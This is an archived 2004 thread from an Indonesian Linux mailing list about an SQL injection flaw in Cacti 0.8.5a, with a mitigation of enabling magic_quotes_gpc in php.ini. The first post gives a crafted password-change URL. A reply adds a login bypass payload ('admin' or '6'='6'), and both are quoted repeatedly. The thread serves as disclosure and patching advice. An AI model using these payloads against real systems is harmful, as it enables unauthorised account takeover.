[tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a

2004-09-08 Terurut Topik Dave Matt 
Dear All,
yg merasa pake cacti 'kaktus' 0.8.5a dan versi sebelumnya :
telah ditemukan SQL injeksi...dan saya sudah mencoba :

Injeksi SQL:
http://server/cacti/auth_changepassword.php?ref=indexphpaction=changepasswo
rdpassword=daveconfirm=davesubmit=Save

Solusi:
Set magic_quotes_gpc ke on


-- 
Unsubscribe: kirim email kosong ke [EMAIL PROTECTED]
Arsip, FAQ, dan info milis di http://linux.or.id/milis.php
Tidak bisa posting? Baca:
http://linux.or.id/wiki/index.php?pagename=ProblemMilisDanSolusi
http://linux.or.id/wiki/index.php?pagename=TataTertibMilis

Re: [tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a

2004-09-08 Terurut Topik Cahyo 
On Wed, 8 Sep 2004, Dave Matt wrote:

:: Dear All,
:: yg merasa pake cacti 'kaktus' 0.8.5a dan versi sebelumnya :
:: telah ditemukan SQL injeksi...dan saya sudah mencoba :
::
:: Injeksi SQL:
:: http://server/cacti/auth_changepassword.php?ref=indexphpaction=changepasswo
:: rdpassword=daveconfirm=davesubmit=Save
::
:: Solusi:
:: Set magic_quotes_gpc ke on
::

untuk test bisa juga gini..
UserName: admin' or '6'='6
pass: up 2 U
kebeneran cacti saya versi segitu :) ...thank's to arip

regards,

-+Cahyo+-



-- 
Unsubscribe: kirim email kosong ke [EMAIL PROTECTED]
Arsip, FAQ, dan info milis di http://linux.or.id/milis.php
Tidak bisa posting? Baca:
http://linux.or.id/wiki/index.php?pagename=ProblemMilisDanSolusi
http://linux.or.id/wiki/index.php?pagename=TataTertibMilis

Re: [tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a

2004-09-08 Terurut Topik Dave Matt 
udah di add :
http://bugzilla.raxnet.net/view_all_bug_page.php


- Original Message -
From: Cahyo [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Wednesday, September 08, 2004 3:34 PM
Subject: Re: [tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a


| On Wed, 8 Sep 2004, Dave Matt wrote:
|
| :: Dear All,
| :: yg merasa pake cacti 'kaktus' 0.8.5a dan versi sebelumnya :
| :: telah ditemukan SQL injeksi...dan saya sudah mencoba :
| ::
| :: Injeksi SQL:
| ::
http://server/cacti/auth_changepassword.php?ref=indexphpaction=changepasswo
| :: rdpassword=daveconfirm=davesubmit=Save
| ::
| :: Solusi:
| :: Set magic_quotes_gpc ke on
| ::
|
| untuk test bisa juga gini..
| UserName: admin' or '6'='6
| pass: up 2 U
| kebeneran cacti saya versi segitu :) ...thank's to arip
|
| regards,
|
| -+Cahyo+-
|
|
|
| --
| Unsubscribe: kirim email kosong ke [EMAIL PROTECTED]
| Arsip, FAQ, dan info milis di http://linux.or.id/milis.php
| Tidak bisa posting? Baca:
| http://linux.or.id/wiki/index.php?pagename=ProblemMilisDanSolusi
| http://linux.or.id/wiki/index.php?pagename=TataTertibMilis
|
|


-- 
Unsubscribe: kirim email kosong ke [EMAIL PROTECTED]
Arsip, FAQ, dan info milis di http://linux.or.id/milis.php
Tidak bisa posting? Baca:
http://linux.or.id/wiki/index.php?pagename=ProblemMilisDanSolusi
http://linux.or.id/wiki/index.php?pagename=TataTertibMilis

Re: [tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a

2004-09-08 Terurut Topik Fajar NS 
 - Original Message -
 From: Cahyo [EMAIL PROTECTED]
 To: [EMAIL PROTECTED]
 Sent: Wednesday, September 08, 2004 3:34 PM
 Subject: Re: [tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a


 | On Wed, 8 Sep 2004, Dave Matt wrote:
 |
 | :: Dear All,
 | :: yg merasa pake cacti 'kaktus' 0.8.5a dan versi sebelumnya :
 | :: telah ditemukan SQL injeksi...dan saya sudah mencoba :
 | ::
 | :: Injeksi SQL:
 | ::

http://server/cacti/auth_changepassword.php?ref=indexphpaction=changepasswo
 | :: rdpassword=daveconfirm=davesubmit=Save
 | ::
 | :: Solusi:
 | :: Set magic_quotes_gpc ke on
 | ::

ngesetnya di file yg mana ya mas?
saya cari di sourcenya gak nemu paramater itu soalnya

thx,



-- 
Unsubscribe: kirim email kosong ke [EMAIL PROTECTED]
Arsip, FAQ, dan info milis di http://linux.or.id/milis.php
Tidak bisa posting? Baca:
http://linux.or.id/wiki/index.php?pagename=ProblemMilisDanSolusi
http://linux.or.id/wiki/index.php?pagename=TataTertibMilis

Re: [tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a

2004-09-08 Terurut Topik Dave Matt 
#/etc/php.ini

- Original Message -
From: Fajar NS [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Wednesday, September 08, 2004 5:10 PM
Subject: Re: [tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a


|  - Original Message -
|  From: Cahyo [EMAIL PROTECTED]
|  To: [EMAIL PROTECTED]
|  Sent: Wednesday, September 08, 2004 3:34 PM
|  Subject: Re: [tanya-jawab] OOT: INJEKSI SQL untuk CACTI v.0.8.5a
| 
| 
|  | On Wed, 8 Sep 2004, Dave Matt wrote:
|  |
|  | :: Dear All,
|  | :: yg merasa pake cacti 'kaktus' 0.8.5a dan versi sebelumnya :
|  | :: telah ditemukan SQL injeksi...dan saya sudah mencoba :
|  | ::
|  | :: Injeksi SQL:
|  | ::
| 
|
http://server/cacti/auth_changepassword.php?ref=indexphpaction=changepasswo
|  | :: rdpassword=daveconfirm=davesubmit=Save
|  | ::
|  | :: Solusi:
|  | :: Set magic_quotes_gpc ke on
|  | ::
|
| ngesetnya di file yg mana ya mas?
| saya cari di sourcenya gak nemu paramater itu soalnya
|
| thx,
|
|
|
| --
| Unsubscribe: kirim email kosong ke [EMAIL PROTECTED]
| Arsip, FAQ, dan info milis di http://linux.or.id/milis.php
| Tidak bisa posting? Baca:
| http://linux.or.id/wiki/index.php?pagename=ProblemMilisDanSolusi
| http://linux.or.id/wiki/index.php?pagename=TataTertibMilis
|
|


-- 
Unsubscribe: kirim email kosong ke [EMAIL PROTECTED]
Arsip, FAQ, dan info milis di http://linux.or.id/milis.php
Tidak bisa posting? Baca:
http://linux.or.id/wiki/index.php?pagename=ProblemMilisDanSolusi
http://linux.or.id/wiki/index.php?pagename=TataTertibMilis